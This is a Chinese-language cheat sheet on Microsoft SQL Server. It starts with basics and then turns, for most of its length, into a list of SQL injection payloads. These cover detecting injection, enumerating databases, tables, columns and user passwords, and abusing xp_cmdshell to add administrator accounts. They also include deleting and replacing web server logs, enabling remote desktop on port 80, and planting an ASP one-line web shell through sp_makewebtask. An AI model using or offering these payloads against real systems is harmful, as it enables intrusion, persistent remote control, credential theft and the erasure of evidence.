1.什么是MsSql?
ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。
特点:
- 高性能设计,可充分利用WindowsNT的优势
- 系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置
- 强壮的事务处理功能,采用各种方法保证数据的完整性
- 支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台
- sqlServer中是靠dbib来区分不同的数据库的,前四个数据库(1-4)是系统默认数据库;dbib可以当做SQL语句中的条件;
2.msSQL服务、端口、后缀
启动命令:
services.msc
端口号:
1433
当服务启动时,1433端口就会开启;服务关闭时,1433端口就会关闭。
数据库文件:
xxxx.mdf——数据库文件
xxxx.ldf——日志文件
当创建一个数据库时,会生成以上两个后缀类型的文件。
3.常见语句
- 查询:select * from table1 where 范围
- 插入:insert into table1(field1,field2) values(value1,value2)
- 删除:delete from table1 where 范围
- 更新:update table1 set field1=value1 where 范围
- 查找:select * from table1 where field1 like ’%雷锋%’ —like的语法很精妙,查资料!不过会让索引失效,而select * from table1 where field1 like ’雷锋%’ 这句的的话索引是有效的!
- 排序:select * from table1 order by field1,field2 [desc]
- 总数:select count * as totalcount from table1
- 求和:select sum(field1) as sumvalue from table1
- 平均:select avg(field1) as avgvalue from table1
- 最大:select max(field1) as maxvalue from table1
- 最小:select min(field1) as minvalue from table1
4.msSQL数据库权限
sa权限: 数据库操作,文件管理,命令执行,注册表读取等——system(权限非常强大,超过root)
db权限: 文件管理,数据库操作等,相当于管理员——users-adminstrators
public权限: 数据库操作,相当于游客——guest-users
5.查找项目中的数据库
.asp项目中: 连接数据库的文件一般为conn.asp、dbconfig.asp
.aspx项目中: 连接数据库中的文件一般默认为web.config
连接数据的代码为:
<%
set conn=server.createobjct("adodb.connection");
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database_name";
%>
其中,provider是供应商,source人后面的是连接方式;local就是本地连接,可以通过输入ip进行远程连接;sa是内置的用户,密码是在安装SQLserver数据库的时候设置的;database后面是你要连接的数据库的名称。
6.注入语句
- 判断是够存在注入
and 1=1
and 1=2
/
-0 - 初步判断是否是msSQL
and user>0 - 判断数据库系统
msSQL数据库:
and(select count(*) from sysobjects)> 0
access数据库:
and (select count(*) from msysobjects)>0
- 注入参数是字符
‘and [查询条件] and "=’ - 搜索时没过滤参数的
‘and [查询条件] and ‘%25’=’ - 猜表名
and (select count(*) from [表名])>0 - 猜字段
and (select count([字段名]) from 表名)>0 - 猜字段的长度(top 1代表第一个字段)
and (select top 1 len(字段名) form 表名)>0 - 猜字段的ASCII值
access数据库: and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
mssql数据库: and (select top 1 unicode(substring(字段名,1,1)) from
表名)>0
7.获取数据库版本信息
id=1 and 1=(select @@version)
8.获取数据库名称
1. 获取当前数据库:
id=1 and 1=(select db_name())
2.获取用户的第一个数据库:
and 1=(select top 1 name from master…sysdatavases where dbid>4)
3.获取用户的第二个数据库:
and 1=(select top 1 name from master…sysdatavases where dbid>5)
9.获取表名
1.获取第一张表:
?id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)
2.获取第二张表:
?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name <> ‘第一张表名’)
2.获取第三张表:
?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name <> ‘第一张表名’ and name <> ‘第二张表名’)
10.获取字段
1.获取第一个字段:
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’))
2.获取第二个字段:
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’) and name <> ‘第一个字段’)
11.获取数据
获取第一个用户的密码
?id=1 and 1=(select top 1 upass form 表名)
12.msSQL数据库另类玩法
一.基本信息收集
注入点权限判断:
and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否为系统管理员
and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
and 1=convert(int,db_name())或 1=(select db_name())//当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
二.利用msSQL扩展存储注入攻击
检测与恢复扩展存储
检测xp_cmdshell扩展存储是否存在:
---- and 1=(select count() from master.dbo.sysobjects where xtype=‘x’ AND name=‘xp_cmdshell’)
检测xp_regread扩展存储过程是否存在:
---- and 1=(select count() form master.dbo.sysobjects where name=‘xp_regread’)
恢复扩展内存:
----EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;
----exec sp_dropextendedproc xp_cmdshell,‘xplog70.dll’
三.sa权限下扩展存储攻击利用方法
利用xp_cmdshell扩展执行任意命令
查看C盘:
---- drop table black
---- create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))–insert into black exec master…xp_cmdshell ‘dir c:’
---- and 1=(select top 1 mulu from black where id=1)
新建用户:
exec master…xp_cmdshell ‘net user test test /add’
将用户添加到管理员组当中:
exec master…xp_cmdshell ‘net localgroup administrators test /add’
添加和删除一个SA权限的用户test(需要SA权限):
---- exec master.dbo.sp_addlogin test,password
---- exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务(需要SA权限):
---- exec master…xp_servicecontrol ‘stop’,‘schedule’
---- exec master…xp_servicecontrol ‘start’,‘schedule’
删除日志记录:
;exec master.dbo_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’
替换日志记录:
;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’
开启远程数据库:
1.
;select * from OPENROWSET(‘SQLOLEDB’,‘server=servername;uid=sa;pwd=apachy_123’,‘select * from table1’)
2.
;select * from OPENROWSET(‘SQLOLEDB’,‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=200.200.200.1,1433;’,‘select * from table’)
四.打开3389端口(远程桌面)
;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add fDenyTSConnections /t REG_DWORD /d 0x0 /f’ //允许外部连接
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’ //改端口到80
五.利用sp_makewebtask写入一句话木马
1、
;exec sp_makewebtask ‘c:\inetpub\wwwroot\x.asp’,‘select “<%eval request(“passwd”)%>”’–
2、
http://mssql.sql.com/aspx.aspx?id=1 ;exec sp_makewebtask ‘c:\inetpub\wwwroot\ms\x1.asp’,‘select’‘<%execute (request(“passwd”))%>’‘’–
六.修改管理员密码
update admin set password=123456 where username=‘admin’